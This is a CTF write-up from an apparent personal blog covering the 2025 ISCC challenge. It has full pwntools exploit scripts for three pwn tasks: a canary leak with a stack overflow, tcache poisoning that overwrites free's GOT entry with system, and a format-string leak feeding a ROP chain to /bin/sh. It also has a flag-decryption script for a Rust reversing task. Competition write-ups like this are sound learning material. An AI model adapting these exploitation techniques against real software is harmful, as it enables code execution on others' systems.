2025-ISCC-Challenge

of course, I don’t suggest to join the compeletion.

PWN-genius

输入no

image.png

输入thanks

image.png

leak cannary & overflower.

image.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = 'debug'

io = remote("101.200.155.151",12000)
#io = process("./attachment-22")

io.sendline(b"no")

io.sendline(b'thanks')

init_addr = 0x4011A7

payload = b'a' * 24  + b'b'
payload1 = b'a' * 0x20 + p64(0xdeadbeef) + p64(init_addr) 
#pause()
io.send(payload)
io.recvuntil(b'aaaab')
canary_var =b'\x00' + io.recv(7) # + b'\x00'
canary_var = u64(canary_var)
print("cur_cannary_var:", hex(canary_var))

payload1 = b'a' * 24 + p64(canary_var) + p64(0xdeadbeef) + p64(init_addr) 
io.sendline(payload1)

io.interactive()

image.png

PWN-program

use ida to analysis program, ida open this so, finding the so version is 2.31.

image.png

find the edit function is not compare the length . so we can ablity any write other heap block.

image.png

because use libc 2.31. so we can use tache bins attack, reference: https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c

to alloc to manager_block , and then struct a arbitrary address write. write system_libc to got_free. and then call free to release a heap block. the heap block ‘content is /bin/sh. execute /bin/sh command compelete the exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
#context.log_level = 'debug'
#io = process("./attachment-23")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

io = remote("101.200.155.151",12300)
libc = ELF("./attachment-23.so")

def add(index, size):
    io.sendlineafter(b'choice:\n', b'1')
    io.sendlineafter(b'index:\n', str(index).encode())
    io.sendlineafter(b'size:\n', str(size).encode())

def dele(index):
    io.sendlineafter(b'choice:\n', b'2')
    io.sendlineafter(b'index:\n', str(index).encode())

def edit(index, size, content):
    io.sendlineafter(b'choice:\n', b'3')
    io.sendlineafter(b'index:\n', str(index).encode())
    io.sendlineafter(b'length:\n', str(size).encode())
    io.sendafter(b'content:\n', content)

def show(index):
    io.sendlineafter(b'choice:\n', b'4')
    io.sendlineafter(b'index:\n', str(index).encode())



add(0, 0x20)
add(1, 0x20)
add(2, 0x20)
add(3, 0x20)

edit(3, 8, b'/bin/sh\x00')

dele(2)
dele(1)

payload = b'a' * 0x20 +p64(0) + p64(0x31) +  p64(0x4040C0)
edit(0, len(payload), payload)

add(1, 0x20)
add(2, 0x20)

payload = p64(0x404018) + p64(0x404018)
edit(2, len(payload), payload)

show(0)
cur_addr =   io.recv(6)   + b'\x00\x00'
cur_addr = u64(cur_addr)
print("cur_addr:", hex(cur_addr))

libc.address = cur_addr - libc.sym['free'] 

payload = p64(libc.sym['system'])

edit(1, len(payload), payload)


dele(3)

io.interactive()

image.png

off course , we can use other method to attack the vuln program!

PWN-Fufu

格式化字符串+ 栈溢出

格式化字符串泄露 libc地址和 CanaryCookie 值
后根据偏移直接利用。

格式化字符串漏洞点

image.png

栈溢出点

image.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

#io = process("./attachment-32")
io = remote("101.200.155.151", 12600)


local = False


def leak_data(s):
    io.sendlineafter(b'Furina: Your choice? >> ', b'1')
    io.sendlineafter(b'Furina: Time is limited! >> ', b'6')
    io.sendlineafter(b'Furina: Present your evidence! >> ', s)


def exploit(s):
    io.sendlineafter(b'Furina: Your choice? >> ', b'2')
    io.sendlineafter(b'Furina: The trial is adjourned', s)



leak_data(b'%21$p')

canary = int(io.recv(len('0x97dac0759ad25c00')), 16)
io.sendline(b'1')
leak_data(b'%23$p')
libc_main_ret = int(io.recv(len('0x7ffff7c23a90')), 16)

io.sendline(b'1')
print("canary:", hex(canary))
print("libc:", hex(libc_main_ret))

if local:
    libc_base = libc_main_ret - 0x23a90
    o_pop_rdi = 0x00000000000240e5
    o_system = 0x000000000004ebf0
    o_bin_sh_addr = 0x1b51d2 
else:
    libc_base = libc_main_ret - 0x29d90
    o_pop_rdi = 0x000000000002a3e5
    o_system= 0x050d70
    o_bin_sh_addr = 0x1d8678
    
pop_rdi = libc_base + o_pop_rdi
system_addr = libc_base + o_system
bin_sh_addr = libc_base + o_bin_sh_addr

payload = b'a' * 72 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi+1) +p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)

#pause()
exploit(payload)


io.interactive()


image.png

Reverse-greeting

Rust lanage reverse

search string , quickly get import location.

image.png

have antidebug. IsDebuggerPresent,

analysis the fucntion.

image.png

so write a python script. to simalution enc, and decrypt the str get flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
  
  
"""
  
    v30 = (0xCCCCCCCCCCCCCCCDuLL * (unsigned __int128)(unsigned __int64)i) >> 64;    LOBYTE(v30) = (unsigned __int8)v30 >> 2;    v31 = __ROL1__(v27[i] ^ (i + 90), i - 5 * v30);

"""  
def __rol__(a, b):  
    return (a << (b) | a >> (8-b)) & 0xff  
  
def ror(a, b):  
    return (a >> (b) | a << (8-b)) & 0xff  
  
  
s = 'dsfsfadsfsfsfsd'  
i = 1  
  
for i in range(len(s)):  
    cur_f = ord(s[i])  
  
    v30 = (0xCCCCCCCCCCCCCCCD * i) >> 64  
    v30 = v30 >> 2  
    # print(v30)  
  
    cur_f = cur_f ^ (i + 90)  
    cur_f = cur_f & 0xff  
    cur_f = __rol__(cur_f, i-5 * v30)  
    print(hex(cur_f))  
  
  
print()  
# s = 'dsfsfadsfsfsfsd'  
s = [  0x13, 0x10, 0x7C, 0xF0, 0x52, 0x67, 0x52, 0xCC, 0x79, 0x55,  
  0x0C, 0x48, 0x59, 0, 0xa0 ,0x14]  
for i in range(len(s)):  
    cur_f = s[i]  
  
    v30 = (0xCCCCCCCCCCCCCCCD * i) >> 64  
    v30 = v30 >> 2  
    # print(v30)  
    cur_f = cur_f & 0xff  
  
    cur_f = ror(cur_f, i-5 * v30)  
  
    cur_f = cur_f ^ (i + 90)  
    cur_f = cur_f & 0xff  
    print(chr(cur_f), end='')
#ctf #pwn #stack over flower #heap over flower #reverse engineer
2025-ISCC-Challenge
https://pwner.top/2025/05/20/2025-ISCC-Challenge/
作者
m1n9yu3
发布于
2025年5月20日
许可协议